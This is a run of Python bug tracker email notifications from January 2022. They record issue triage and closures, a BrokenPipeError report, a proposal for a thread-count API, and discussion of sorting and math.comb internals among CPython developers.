bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 19:09:41 +0000 Subject: [issue37080] Cannot compile Python3.7.3 on Alt-F (ARM) In-Reply-To: <1559057852.62.0.663214501823.issue37080@roundup.psfhosted.org> Message-ID: <1642964981.01.0.866999458295.issue37080@roundup.psfhosted.org> Irit Katriel added the comment: 3.7 is no longer maintained. Please create a new issue if you are having this problem with a current version (>= 3.9). ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 14:10:43 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 19:10:43 +0000 Subject: [issue30053] Problems building with --enable-profiling on macOS using homebrew GCC In-Reply-To: <1492001446.82.0.198717177169.issue30053@psf.upfronthosting.co.za> Message-ID: <1642965043.87.0.795152291227.issue30053@roundup.psfhosted.org> Irit Katriel added the comment: 3.7 is no longer maintained. Please create a new issue if you are having this problem with a current version (>= 3.9). ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 14:13:47 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 19:13:47 +0000 Subject: [issue40250] unable to comment out r'\u' string with triple quote marks In-Reply-To: <1586559791.68.0.297747169601.issue40250@roundup.psfhosted.org> Message-ID: <1642965227.14.0.939048340263.issue40250@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 14:18:36 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 19:18:36 +0000 Subject: [issue32343] Leak Sanitizer reports memory leaks while building using ASAN In-Reply-To: <1513399699.11.0.213398074469.issue32343@psf.upfronthosting.co.za> Message-ID: <1642965516.08.0.28318549214.issue32343@roundup.psfhosted.org> Irit Katriel added the comment: Python 3.7 is not longer maintained, so it is unlikely that anyone will look at these. Please create a new issue if you are seeing this problem on a current version. ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 14:20:06 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 19:20:06 +0000 Subject: [issue22211] Remove VMS specific code in expat.h & xmlrole.h In-Reply-To: <1408222450.15.0.0579194114943.issue22211@psf.upfronthosting.co.za> Message-ID: <1642965606.22.0.799279918258.issue22211@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 14:28:19 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 19:28:19 +0000 Subject: [issue46435] MessageID parser raises IndexError: string index out of range In-Reply-To: <1642611696.19.0.00941032029995.issue46435@roundup.psfhosted.org> Message-ID: <1642966099.69.0.0754643650359.issue46435@roundup.psfhosted.org> Change by Irit Katriel : ---------- title: MessageID parser can crash with IndexError: string index out of range -> MessageID parser raises IndexError: string index out of range type: crash -> behavior versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 14:31:14 2022 From: report at bugs.python.org (Christian Heimes) Date: Sun, 23 Jan 2022 19:31:14 +0000 Subject: [issue33936] OPENSSL_VERSION_1_1 never defined in _hashopenssl.c In-Reply-To: <1529635821.29.0.56676864532.issue33936@psf.upfronthosting.co.za> Message-ID: <1642966274.51.0.72895082421.issue33936@roundup.psfhosted.org> Christian Heimes added the comment: Yes, it's fixed. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 14:34:50 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 19:34:50 +0000 Subject: [issue41403] Uncaught AttributeError in unittest.mock._get_target In-Reply-To: <1595790944.09.0.556229072962.issue41403@roundup.psfhosted.org> Message-ID: <1642966490.69.0.477486106771.issue41403@roundup.psfhosted.org> Irit Katriel added the comment: New changeset e3ade66ec575e0cb4882cfdff155ef962e67c837 by Irit Katriel in branch '3.10': bpo-41403: Improve error message for invalid mock target (GH-30833) (GH-30834) https://github.com/python/cpython/commit/e3ade66ec575e0cb4882cfdff155ef962e67c837 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 14:35:18 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 19:35:18 +0000 Subject: [issue41403] Uncaught AttributeError in unittest.mock._get_target In-Reply-To: <1595790944.09.0.556229072962.issue41403@roundup.psfhosted.org> Message-ID: <1642966518.38.0.663471001811.issue41403@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 1398dca838529e682c06b496cc1911d91334ff3a by Irit Katriel in branch '3.9': bpo-41403: Improve error message for invalid mock target (GH-30833) (GH-30835) https://github.com/python/cpython/commit/1398dca838529e682c06b496cc1911d91334ff3a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 14:35:34 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 19:35:34 +0000 Subject: [issue41403] Uncaught AttributeError in unittest.mock._get_target In-Reply-To: <1595790944.09.0.556229072962.issue41403@roundup.psfhosted.org> Message-ID: <1642966534.34.0.31041024671.issue41403@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 14:45:31 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 19:45:31 +0000 Subject: [issue45298] SIGSEGV when access a fork Event in a spawn Process In-Reply-To: <1632706394.95.0.366136047801.issue45298@roundup.psfhosted.org> Message-ID: <1642967131.94.0.836169567119.issue45298@roundup.psfhosted.org> Irit Katriel added the comment: Which python version and system are you seeing this on? On 3.11 on a Mac I don't get a segfault but rather Process SpawnProcess-1: Traceback (most recent call last): File "/Users/iritkatriel/src/cpython/Lib/multiprocessing/process.py", line 315, in _bootstrap self.run() ^^^^^^^^^^ File "/Users/iritkatriel/src/cpython/Lib/multiprocessing/process.py", line 108, in run self._target(*self._args, **self._kwargs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/iritkatriel/src/cpython/tt.py", line 6, in wait_for_event while not event.is_set(): ^^^^^^^^^^^^^^ File "/Users/iritkatriel/src/cpython/Lib/multiprocessing/synchronize.py", line 328, in is_set with self._cond: ^^^^^^^^^^^^^^^^ File "/Users/iritkatriel/src/cpython/Lib/multiprocessing/synchronize.py", line 230, in __enter__ return self._lock.__enter__() ^^^^^^^^^^^^^^^^^^^^^^ File "/Users/iritkatriel/src/cpython/Lib/multiprocessing/synchronize.py", line 95, in __enter__ return self._semlock.__enter__() ^^^^^^^^^^^^^^^^^^^^^^^^^ OSError: [Errno 9] Bad file descriptor ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 14:47:39 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 19:47:39 +0000 Subject: [issue38039] Segfault when pickling dictionary with large pandas dataframes In-Reply-To: <1567702116.93.0.155927302531.issue38039@roundup.psfhosted.org> Message-ID: <1642967259.89.0.269230061799.issue38039@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 14:48:57 2022 From: report at bugs.python.org (Roy Assis) Date: Sun, 23 Jan 2022 19:48:57 +0000 Subject: [issue46492] BrokenPipeError when piping to head (linux) Message-ID: <1642967337.45.0.0488818271816.issue46492@roundup.psfhosted.org> New submission from Roy Assis : problem: ------- Python raises exception when piping to head. Exception is not caught by try except. code: ---- #sample.py import sys from time import sleep try: for line in sys.stdin: print(line, flush=True) sleep(2) except: print("a") Environment: ---------- # Python 3.8.12 (default, Oct 12 2021, 13:49:34) # [GCC 7.5.0] :: Anaconda, Inc. on linux # (scanpyEnv3.8) aaa at IP111-11-1-111:~/scripts/short-python-scripts$ uname -srm # Linux 5.4.0-1063-aws x86_64 code execution -------------- # (scanpyEnv3.8) aaa at IP111-11-1-111:~/scripts/short-python-scripts$ echo "a a a a" | sed s'/ /\n/g' | python ./sample.py | head -3 # a # # a # Exception ignored in: <_io.TextIOWrapper name='' mode='w' encoding='utf-8'> # BrokenPipeError: [Errno 32] Broken pipe ---------- components: IO messages: 411413 nosy: royroy priority: normal severity: normal status: open title: BrokenPipeError when piping to head (linux) type: behavior versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 14:49:16 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 19:49:16 +0000 Subject: [issue42543] case sensitivity in open() arguments In-Reply-To: <1606925370.25.0.425660398835.issue42543@roundup.psfhosted.org> Message-ID: <1642967356.34.0.759434978928.issue42543@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 14:52:13 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 19:52:13 +0000 Subject: [issue34697] ctypes: Crash if manually-created CField instance is used In-Reply-To: <1537031593.26.0.956365154283.issue34697@psf.upfronthosting.co.za> Message-ID: <1642967533.59.0.68435290344.issue34697@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.10, Python 3.11, Python 3.9 -Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 14:55:48 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 19:55:48 +0000 Subject: [issue45868] xattr support missing in os module under cygwin In-Reply-To: <1637584752.6.0.681447686617.issue45868@roundup.psfhosted.org> Message-ID: <1642967748.95.0.838363938623.issue45868@roundup.psfhosted.org> Irit Katriel added the comment: This is listed in the docs as a linux-only feature: https://docs.python.org/3/library/os.html#linux-extended-attributes ---------- nosy: +iritkatriel resolution: -> not a bug status: open -> pending type: crash -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 15:02:33 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 20:02:33 +0000 Subject: [issue37773] ValueError: I/O operation on closed file. in ZipFile destructor In-Reply-To: <1565084150.95.0.74829896398.issue37773@roundup.psfhosted.org> Message-ID: <1642968153.14.0.513519483744.issue37773@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.11 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 15:06:13 2022 From: report at bugs.python.org (Oskar Enoksson) Date: Sun, 23 Jan 2022 20:06:13 +0000 Subject: [issue45868] xattr support missing in os module under cygwin In-Reply-To: <1637584752.6.0.681447686617.issue45868@roundup.psfhosted.org> Message-ID: <1642968373.38.0.925820405453.issue45868@roundup.psfhosted.org> Oskar Enoksson added the comment: Perhaps it could be supported under cygwin though without too much effort? Most likely just a configuration fix? After all, cygwin is a sort of linux ... ---------- status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 15:08:54 2022 From: report at bugs.python.org (Roy Assis) Date: Sun, 23 Jan 2022 20:08:54 +0000 Subject: [issue46492] BrokenPipeError when piping to head (linux) In-Reply-To: <1642967337.45.0.0488818271816.issue46492@roundup.psfhosted.org> Message-ID: <1642968534.24.0.109092108394.issue46492@roundup.psfhosted.org> Roy Assis added the comment: Resolution in this post: https://stackoverflow.com/questions/26692284/how-to-prevent-brokenpipeerror-when-doing-a-flush-in-python/26738736 code was changed to: ---- #sample.py import sys from time import sleep try: for line in sys.stdin: print(line, flush=True) sleep(2) except: sys.stderr.close() pass ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 15:10:01 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 20:10:01 +0000 Subject: [issue45868] xattr support missing in os module under cygwin In-Reply-To: <1637584752.6.0.681447686617.issue45868@roundup.psfhosted.org> Message-ID: <1642968601.28.0.780018897358.issue45868@roundup.psfhosted.org> Irit Katriel added the comment: There isn't currently a maintainer for cpython on cygwin. If someone volunteers for this, they can go through the issues listed at the bottom of issue45537. ---------- resolution: not a bug -> wont fix stage: -> resolved status: open -> closed superseder: -> Cygwin is unsupported - close all open issues and list them here. _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 15:55:52 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 23 Jan 2022 20:55:52 +0000 Subject: [issue46491] typing: allow Annotated in outermost scope In-Reply-To: <1642964861.07.0.858472315015.issue46491@roundup.psfhosted.org> Message-ID: Guido van Rossum added the comment: +1-- --Guido (mobile) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 16:19:08 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Sun, 23 Jan 2022 21:19:08 +0000 Subject: [issue46457] test_unittest: TestAsyncCase.test_debug_cleanup_same_loop() hangs with gc.set_threshold(500) In-Reply-To: <1642778488.24.0.387685452896.issue46457@roundup.psfhosted.org> Message-ID: <1642972748.41.0.979210564984.issue46457@roundup.psfhosted.org> Change by Andrew Svetlov : ---------- assignee: -> asvetlov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 16:24:12 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 23 Jan 2022 21:24:12 +0000 Subject: [issue46479] Implement typing.reveal_locals In-Reply-To: <1642914950.74.0.308190454121.issue46479@roundup.psfhosted.org> Message-ID: <1642973052.47.0.0598859466409.issue46479@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- keywords: +patch pull_requests: +29022 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30839 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 16:32:37 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 23 Jan 2022 21:32:37 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1642973557.73.0.291515580796.issue46449@roundup.psfhosted.org> Guido van Rossum added the comment: @Kumar do you want to tackle this? ---------- nosy: +kumaraditya303 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 16:33:18 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 23 Jan 2022 21:33:18 +0000 Subject: [issue46471] use global singletons for single byte bytes objects in deepfreeze In-Reply-To: <1642849482.66.0.726035598886.issue46471@roundup.psfhosted.org> Message-ID: <1642973598.48.0.569034744594.issue46471@roundup.psfhosted.org> Change by Guido van Rossum : ---------- resolution: -> fixed stage: patch review -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 16:50:43 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 23 Jan 2022 21:50:43 +0000 Subject: [issue46493] Add an API to indicate if the process might have multiple threads Message-ID: <1642974643.07.0.471616309157.issue46493@roundup.psfhosted.org> New submission from Gregory P. Smith : It'd be handy to have a function to determine if there are multiple threads in the current process or not - at least on POSIXish systems. This would be useful anytime a library is trying to use os.fork(), as fork() is not safe in a multi-threaded process. Motivation: I want to _use_ this API to consider raising RuntimeWarnings in libraries that call fork() to highlight the problem to people attempting to use that code in multithreaded processes. As POSIXy OSes don't usually have a simple API to get this information, one implementation such as this could make sense: ``` def is_process_multithreaded() -> bool: """Are there multiple threads in this process? OSError if no such OS API is available.""" threads = 0 ourself = str(os.gettid()) i_feel_seen = False try: # Linux, NetBSD, any others? with os.scandir('/proc/self/task') as tasks: for task_dir_entry in tasks: # tid named subdirs should be the only thing that exists. # We do a simple conformity check just in case. if task_dir_entry.name.isdigit(): if task_dir_entry.name == ourself: i_feel_seen = True threads += 1 if i_feel_seen and threads > 1: return True # Multiple threads confirmed. except EnvironmentError: raise OSError('Unable to count threads on this platform.') if i_feel_seen and threads == 1: return False else: raise OSError(f'Unclear. Found {threads} in /proc/self/task and did not find ourself.') ``` macOS has mach darwin kernel APIs that can do this. Not well documented but they do work - https://stackoverflow.com/questions/21478229/how-to-count-number-of-alive-threads-in-ios FreeBSD has APIs that can do this (see FreeBSD usr.bin/procstat/ source). configure.ac checks and an extension module would be needed to integrate those. My use case is not relevant to Windows (a platform unburdened by fork) but Windows APIs to answer the question exist if anyone has a reason to want this there as well - https://stackoverflow.com/questions/3749668/how-to-query-the-thread-count-of-a-process-using-the-regular-windows-c-c-apis ---------- components: Library (Lib) messages: 411420 nosy: gregory.p.smith priority: normal severity: normal stage: needs patch status: open title: Add an API to indicate if the process might have multiple threads type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 16:56:43 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 23 Jan 2022 21:56:43 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1642975003.02.0.123290134755.issue46476@roundup.psfhosted.org> Guido van Rossum added the comment: > With the current design, it isn't possible though because the code objects are modified in place so if co_quickened is freed the VM still tries to execute the copied instructions. Or the cleanup code could also restore co_firstinstr and other things that are set by quickened (the co_quickened flag and what else?). Kumar, I'm not sure I follow your concerns about the bootstrap working differently on Windows than on Unix. Is the problem that on Unix the bootstrap interpreter is linked without deepfreeze.c so there is no definition of the symbol _Py_Deepfreeze_Fini? In that case, you can probably just add a dummy one to _bootstrap_python.c. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 16:59:19 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 23 Jan 2022 21:59:19 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642975159.09.0.620461508011.issue46376@roundup.psfhosted.org> Raymond Hettinger added the comment: I would really like this to be left alone. We've been without a reliable version for over a decade. That is strong evidence that we really don't need this unless it can be done perfectly (which it can't). Also, PyMapping_Check is just a CPython specific optimization (and a flawed one). Because it can't be made completely reliable, we should not encourage people to use it, nor should we enshrine it in the stable API. And if a modification can potentially break long stable code (such as that it the re module), then we absolutely shouldn't do it. x Further, there is a general design issue. Abstract base classes were invented to solve this specific problem (distinguishing mappings from sequences). ABCs (and typing) are a now well established practice, and it is foolish to try to do an end run around using them. I am strongly opposed to this going forward and request that a PEP be made if it is pursued further. It is an SC level decision to allow stable code to be broken, to guarantee a CPython specific API for something that cannot be made correct in the general case, and to bypass the intended way to do it. If the core concern is that isinstance() checks for ABCs are too slow, then efforts should be made to optimize them rather than creating an unreliable, CPython only alternative. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 17:03:54 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 23 Jan 2022 22:03:54 +0000 Subject: [issue46486] Rename DesciptorClassification => DescriptorClassification in specialize.c In-Reply-To: <1642943994.09.0.155847688155.issue46486@roundup.psfhosted.org> Message-ID: <1642975434.28.0.386597418296.issue46486@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset d1beb241d9bdf912682bc8323a59c052f99b82a8 by Kumar Aditya in branch 'main': bpo-46486: Fixed misspelled name DesciptorClassification https://github.com/python/cpython/commit/d1beb241d9bdf912682bc8323a59c052f99b82a8 ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 17:04:22 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 23 Jan 2022 22:04:22 +0000 Subject: [issue46486] Rename DesciptorClassification => DescriptorClassification in specialize.c In-Reply-To: <1642943994.09.0.155847688155.issue46486@roundup.psfhosted.org> Message-ID: <1642975462.1.0.905059045901.issue46486@roundup.psfhosted.org> Raymond Hettinger added the comment: Thanks for noticing this and submitting a PR. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 17:11:12 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 23 Jan 2022 22:11:12 +0000 Subject: [issue46488] listsort.txt wrongly assumes you cannot calculate leading zeros in O(1) time. In-Reply-To: <1642957692.71.0.50251931352.issue46488@roundup.psfhosted.org> Message-ID: <1642975872.95.0.675968849677.issue46488@roundup.psfhosted.org> Raymond Hettinger added the comment: Presumably the OP is referring to this text: """ `powerloop()` emulates these divisions, 1 bit at a time, using comparisons, subtractions, and shifts in a loop. You'll notice the paper uses an O(1) method instead, but that relies on two things we don't have: - An O(1) "count leading zeroes" primitive. We can find such a thing as a C extension on most platforms, but not all, and there's no uniform spelling on the platforms that support it. - Integer division on an integer type twice as wide as needed to hold the list length. But the latter is Py_ssize_t for us, and is typically the widest native signed integer type the platform supports. But since runs in our algorithm are almost never very short, the once-per-run overhead of `powerloop()` seems lost in the noise. """ ---------- assignee: docs at python -> tim.peters nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 17:14:46 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 23 Jan 2022 22:14:46 +0000 Subject: [issue5404] Cross-compiling CPython - need a buildbot In-Reply-To: <1235984629.04.0.168155698084.issue5404@psf.upfronthosting.co.za> Message-ID: <1642976086.85.0.380454662655.issue5404@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- title: Cross-compiling Python -> Cross-compiling CPython - need a buildbot versions: +Python 3.11 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 17:21:02 2022 From: report at bugs.python.org (Barry Schwartz) Date: Sun, 23 Jan 2022 22:21:02 +0000 Subject: [issue46488] listsort.txt wrongly assumes you cannot calculate leading zeros in O(1) time. In-Reply-To: <1642957692.71.0.50251931352.issue46488@roundup.psfhosted.org> Message-ID: <1642976462.05.0.736518302778.issue46488@roundup.psfhosted.org> Barry Schwartz added the comment: Yes. Actually the issue is branching, not order of complexity, because looping at most 64 times is a linear-bounded operation. The methods I point out involve no branching! And so can be rather fast. I don't suggest they be used, but that the listsort.txt be revised. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 17:21:31 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 23 Jan 2022 22:21:31 +0000 Subject: [issue37295] Possible optimizations for math.comb() In-Reply-To: <1560626260.31.0.393863097125.issue37295@roundup.psfhosted.org> Message-ID: <1642976491.71.0.457890796088.issue37295@roundup.psfhosted.org> Raymond Hettinger added the comment: > But I won't post code (unless someone asks) Okay, I'll ask. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 17:24:06 2022 From: report at bugs.python.org (Tim Peters) Date: Sun, 23 Jan 2022 22:24:06 +0000 Subject: [issue46488] listsort.txt wrongly assumes you cannot calculate leading zeros in O(1) time. In-Reply-To: <1642957692.71.0.50251931352.issue46488@roundup.psfhosted.org> Message-ID: <1642976646.35.0.779833856126.issue46488@roundup.psfhosted.org> Tim Peters added the comment: I'm not inclined to change anything here. It's a trivial point, and by "primitive" I had in mind a dedicated hardware instruction, blazing fast. Yes, I was aware of long-winded ways of doing it for specific fixed integer widths. But that's not what `O(1)` means. A dead obvious loop testing each bit, one at a time, starting with the MSB, until finding the first bit set, is also O(1) for any fixed-width int size. So I'm not doing anything here. If someone else creates a PR with text they want to see instead, I'll review it, and if it's not unbearably pedantic ;-) I'll merge it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 17:24:38 2022 From: report at bugs.python.org (Barry Schwartz) Date: Sun, 23 Jan 2022 22:24:38 +0000 Subject: [issue46488] listsort.txt wrongly assumes you cannot calculate leading zeros in O(1) time. In-Reply-To: <1642957692.71.0.50251931352.issue46488@roundup.psfhosted.org> Message-ID: <1642976678.56.0.343757572081.issue46488@roundup.psfhosted.org> Barry Schwartz added the comment: I meant constant bounded ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 17:42:15 2022 From: report at bugs.python.org (Tim Peters) Date: Sun, 23 Jan 2022 22:42:15 +0000 Subject: [issue37295] Possible optimizations for math.comb() In-Reply-To: <1560626260.31.0.393863097125.issue37295@roundup.psfhosted.org> Message-ID: <1642977735.93.0.243273496103.issue37295@roundup.psfhosted.org> Tim Peters added the comment: OK, here's the last version I had. Preconditions are that d > 0, n > 0, and n % d == 0. This version tries to use the narrowest possible integers on each step. The lowermost `good_bits` of dinv at the start of the loop are correct already. Taking out all the modular stuff, the body of the loop boils down to just dinv *= 2 - dinv * d For insight, if dinv * d = 1 + k*2**i for some k and i (IOW, if dinv * d = 1 modulo 2**i), then 2 - dinv * d = 1 - k*2**i and so dinv times that equals 1 - k**2 * 2**(2*i). Or, IOW, the next value of dinv is such that d * dinv = 1 modulo 2**(2*i) - it's good to twice as many bits. def ediv(n, d): assert d def makemask(n): return (1 << n) - 1 if d & 1 == 0: ntz = (d & -d).bit_length() - 1 n >>= ntz d >>= ntz bits_needed = n.bit_length() - d.bit_length() + 1 good_bits = 3 dinv = d & 7 while good_bits < bits_needed: twice = min(2 * good_bits, bits_needed) twomask = makemask(twice) fac2 = dinv * (d & twomask) fac2 &= twomask fac2 = (2 - fac2) & twomask dinv = (dinv * fac2) & twomask good_bits = twice goodmask = makemask(bits_needed) return ((dinv & goodmask) * (n & goodmask)) & goodmask ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 18:40:30 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 23 Jan 2022 23:40:30 +0000 Subject: [issue46475] typing.Never and typing.assert_never In-Reply-To: <1642891701.69.0.92347893734.issue46475@roundup.psfhosted.org> Message-ID: <1642981230.44.0.267384930347.issue46475@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- keywords: +patch pull_requests: +29023 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30842 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 19:01:54 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 00:01:54 +0000 Subject: [issue40771] Add a platform neutral version of localtime/gmtime In-Reply-To: <1590425273.09.0.343345283384.issue40771@roundup.psfhosted.org> Message-ID: <1642982514.03.0.637521213541.issue40771@roundup.psfhosted.org> Change by Irit Katriel : ---------- title: python3 fromtimestamp generates OSError -> Add a platform neutral version of localtime/gmtime type: behavior -> enhancement versions: +Python 3.11 -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 19:12:33 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 00:12:33 +0000 Subject: [issue34429] [doc] On Windows tempfile.TemporaryFile behaves like NamedTemporaryFile In-Reply-To: <1534590017.91.0.56676864532.issue34429@psf.upfronthosting.co.za> Message-ID: <1642983153.33.0.186407207448.issue34429@roundup.psfhosted.org> Irit Katriel added the comment: The docs and the code are the same now. I would add just the first half of the suggested sentence: "On platforms that are neither Posix nor Cygwin, TemporaryFile behaves exactly like NamedTemporaryFile". ---------- keywords: +easy nosy: +iritkatriel title: On Windows tempfile.TemporaryFile behaves like NamedTemporaryFile -> [doc] On Windows tempfile.TemporaryFile behaves like NamedTemporaryFile versions: +Python 3.10, Python 3.11, Python 3.9 -Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 19:15:38 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 00:15:38 +0000 Subject: [issue40356] OverflowError: mktime argument out of range In-Reply-To: <1587505343.63.0.318003481208.issue40356@roundup.psfhosted.org> Message-ID: <1642983338.18.0.320883879516.issue40356@roundup.psfhosted.org> Irit Katriel added the comment: 3.7 is no longer maintained. I was unable to reproduce this on 3.11 on windows or Mac. Please create a new issue if you are still seeing this on a current version. ---------- nosy: +iritkatriel resolution: -> works for me stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 19:17:50 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 00:17:50 +0000 Subject: [issue42091] strftime returns empty string for -d, -I 3.8.3 In-Reply-To: <1603141631.63.0.815612128268.issue42091@roundup.psfhosted.org> Message-ID: <1642983470.17.0.512575735316.issue42091@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 19:26:20 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 00:26:20 +0000 Subject: [issue40674] Deprecate urllib.request.urlretrieve() and cleanup() Message-ID: <1642983980.81.0.19160865946.issue40674@roundup.psfhosted.org> New submission from Irit Katriel : Remi, there is no background for this here or on the PR. Can you explain the reason for deprecating them? ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 19:37:59 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Mon, 24 Jan 2022 00:37:59 +0000 Subject: [issue46480] Implement typing.assert_type In-Reply-To: <1642915152.65.0.424582308271.issue46480@roundup.psfhosted.org> Message-ID: <1642984679.97.0.155727674829.issue46480@roundup.psfhosted.org> Change by Jelle 